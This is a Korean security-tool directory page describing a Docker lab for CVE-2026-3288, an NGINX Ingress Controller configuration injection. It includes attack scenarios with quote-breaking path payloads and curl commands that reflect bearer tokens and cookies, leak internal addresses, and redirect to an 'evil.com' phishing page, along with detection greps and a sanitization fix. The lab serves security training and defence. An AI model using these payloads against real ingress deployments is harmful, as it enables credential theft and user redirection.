Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-3288-lab — # CVE-2026-3288 NGINX Ingress 구성 주입을 위한 Docker 기반 취약 실습 환경 — 공격 스크립트, 탐지 모니터링, 그리고 공인된 보안 교육을 위한 복구 지침을 포함합니다. | Kitploit
도구/GitHubGitHub/bvabhishek/cve-2026-3288-lab
Cloud Infrastructure SecurityContainer SecurityVulnerability AnalysisExploitationWeb Application ExploitationConfiguration AuditingPenetration TestingLearning & EducationLabs & Practice
GitHubbvabhishek/cve-2026-3288-lab

CVE-2026-3288-lab

# CVE-2026-3288 NGINX Ingress 구성 주입을 위한 Docker 기반 취약 실습 환경 — 공격 스크립트, 탐지 모니터링, 그리고 공인된 보안 교육을 위한 복구 지침을 포함합니다.

14개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
저장소 보기
공유

CVE-2026-3288 취약 실습 환경 (Docker)

NGINX Ingress Controller 구성 주입

⚠️ 경고: 이 실습 환경은 공인된 보안 교육 목적으로만 의도적으로 취약하게 구성되어 있습니다.

취약점 개요

CVE-2026-3288 (CVSS 8.8 높음) - NGINX Ingress Controller의 구성 주입

  • 영향 버전: < v1.13.8, v1.14.4, v1.15.0
  • 공격 벡터: 경로 구성의 큰따옴표(") 주입
  • 영향: 원격 코드 실행, 비밀 노출, 자격 증명 탈취
  • 관련 취약점: CVE-2026-24512 (유사한 경로 주입)

근본 원인

buildProxyPass() 함수는 경로 입력을 nginx 구성에 삽입하기 전에 검증하지 않아, 공격자가 따옴표로 묶인 문자열을 벗어나 임의의 nginx 지시문을 주입할 수 있습니다.

실습 환경 구성 요소

root@kitploit:~
CVE-2026-3288-lab/
├── README.md                          # 이 파일
├── docker-compose.yml                 # 메인 실습 환경 설정
├── docker/
│   ├── nginx/
│   │   ├── Dockerfile                # 취약한 NGINX 설정
│   │   ├── nginx.conf                # 기본 구성
│   │   └── vulnerable-config.conf    # 취약한 경로 처리
│   └── backend/
│       ├── Dockerfile                # 간단한 백엔드 앱
│       └── app.py                    # Flask 애플리케이션
├── exploits/
│   ├── exploit.py                    # 자동화된 익스플로잇 스크립트
│   ├── payloads.txt                  # 익스플로잇 페이로드 모음
│   └── test-exploits.sh              # 모든 익스플로잇 테스트
├── detection/
│   └── monitor-logs.sh               # 공격 시도 모니터링
└── cleanup/
    └── cleanup.sh                    # 모든 실습 리소스 제거

사전 요구 사항

  • Docker 설치
  • Docker Compose 설치
  • Python 3.6+ (익스플로잇 스크립트용)
  • curl 또는 wget
  • 최소 2GB RAM

빠른 시작

1. 실습 환경 시작

root@kitploit:~
cd CVE-2026-3288-lab

# 취약한 환경 시작
docker-compose up -d

# 상태 확인
docker-compose ps

2. 설치 확인

root@kitploit:~
# 백엔드 실행 확인
curl http://localhost:8080/

# NGINX 실행 확인
curl http://localhost/

3. 익스플로잇 실행

root@kitploit:~
cd exploits

# 자동화된 익스플로잇
python3 exploit.py --all

# 또는 개별 익스플로잇 테스트
bash test-exploits.sh

4. 로그 모니터링

root@kitploit:~
# 공격 시도에 대한 NGINX 로그 확인
docker-compose logs -f nginx

# 탐지 모니터링
cd detection
bash monitor-logs.sh

5. 정리

root@kitploit:~
docker-compose down -v

공격 시나리오

시나리오 1: 응답 하이재킹

nginx return 지시문을 주입하여 공격자가 제어하는 콘텐츠를 제공합니다.

페이로드:

root@kitploit:~
/api" return 200 "HACKED BY ATTACKER

테스트:

root@kitploit:~
curl 'http://localhost/api" return 200 "HACKED'

시나리오 2: 자격 증명 탈취

Bearer 토큰을 탈취하기 위해 Authorization 헤더를 응답에 반영합니다.

페이로드:

root@kitploit:~
/login" return 200 "Token: $http_authorization

테스트:

root@kitploit:~
curl -H "Authorization: Bearer secret123" 'http://localhost/login" return 200 "Token: $http_authorization'

시나리오 3: 피싱 리다이렉트

사용자를 공격자가 제어하는 피싱 사이트로 리다이렉트합니다.

페이로드:

root@kitploit:~
/" return 302 "https://evil.com/phishing

테스트:

root@kitploit:~
curl -I 'http://localhost/" return 302 "https://evil.com/phishing'

시나리오 4: 내부 IP 노출

내부 서버 정보를 유출합니다.

페이로드:

root@kitploit:~
/" return 200 "Internal IP: $server_addr

테스트:

root@kitploit:~
curl 'http://localhost/" return 200 "Internal IP: $server_addr'

시나리오 5: 쿠키 탈취

세션 쿠키를 탈취합니다.

페이로드:

root@kitploit:~
/" return 200 "Cookies: $http_cookie

테스트:

root@kitploit:~
curl -H "Cookie: session=abc123" 'http://localhost/" return 200 "Cookies: $http_cookie'

작동 원리

취약한 코드 패턴

root@kitploit:~
# 취약한 구성
location ~ "^/api" {
    rewrite "(?i)/api" /backend break;
    proxy_pass http://backend;
}

익스플로잇

경로에 "가 포함되면 따옴표로 묶인 문자열이 깨집니다:

root@kitploit:~
# 공격자 입력: /api" return 200 "HACKED
# 결과:
location ~ "^/api" return 200 "HACKED" {
    # 원래 구성이 깨짐
}

탐지

로그 모니터링

root@kitploit:~
# 의심스러운 패턴 확인
docker-compose logs nginx | grep -E '(return|rewrite|set).*"'

수동 탐지

root@kitploit:~
# 주입된 지시문에 대한 NGINX 구성 확인
docker exec cve-2026-3288-nginx cat /etc/nginx/nginx.conf | grep -A5 "location"

수정 방법

즉시 조치

  1. 입력 검증 - 모든 경로 입력 검증
  2. 특수 문자 이스케이프 - " 및 \를 적절히 이스케이프
  3. 허용 목록 사용 - 알려진 안전한 경로만 허용
  4. 로그 모니터링 - 의심스러운 패턴에 대한 경고 설정

코드 수정

root@kitploit:~
// 수정 전 (취약)
path := location.Path
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)

// 수정 후 (해결)
path := sanitizeQuotedRegex(location.Path)
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)

학습 목표

이 실습을 완료한 후 다음을 이해하게 됩니다:

  1. ✅ 구성 주입 취약점이 어떻게 작동하는지
  2. ✅ 불충분한 입력 검증의 영향
  3. ✅ 다양한 익스플로잇 기법
  4. ✅ 로그 분석을 통한 탐지 방법
  5. ✅ 적절한 수정 전략

문제 해결

컨테이너가 시작되지 않음

root@kitploit:~
# 로그 확인
docker-compose logs

# 재시작
docker-compose restart

포트가 이미 사용 중

root@kitploit:~
# docker-compose.yml에서 포트 변경
# 또는 충돌하는 서비스 중지
sudo lsof -i :80

익스플로잇이 작동하지 않음

root@kitploit:~
# NGINX 실행 확인
docker-compose ps nginx

# NGINX 구성 확인
docker exec cve-2026-3288-nginx nginx -t

보안 공지

  • ⚠️ 반드시 격리된 실습 환경에서만 사용
  • ⚠️ 절대 프로덕션 시스템에 배포 금지
  • ⚠️ 절대 인터넷에 노출 금지
  • ⚠️ 테스트 전 적절한 승인 확인
  • ⚠️ 책임 있는 공개 관행 준수

참고 자료

  • CVE-2026-3288 권고
  • 수정 PR #14667
  • Sysdig 분석

공인된 보안 교육 및 연구 목적으로만 제작되었습니다.

도구 다운로드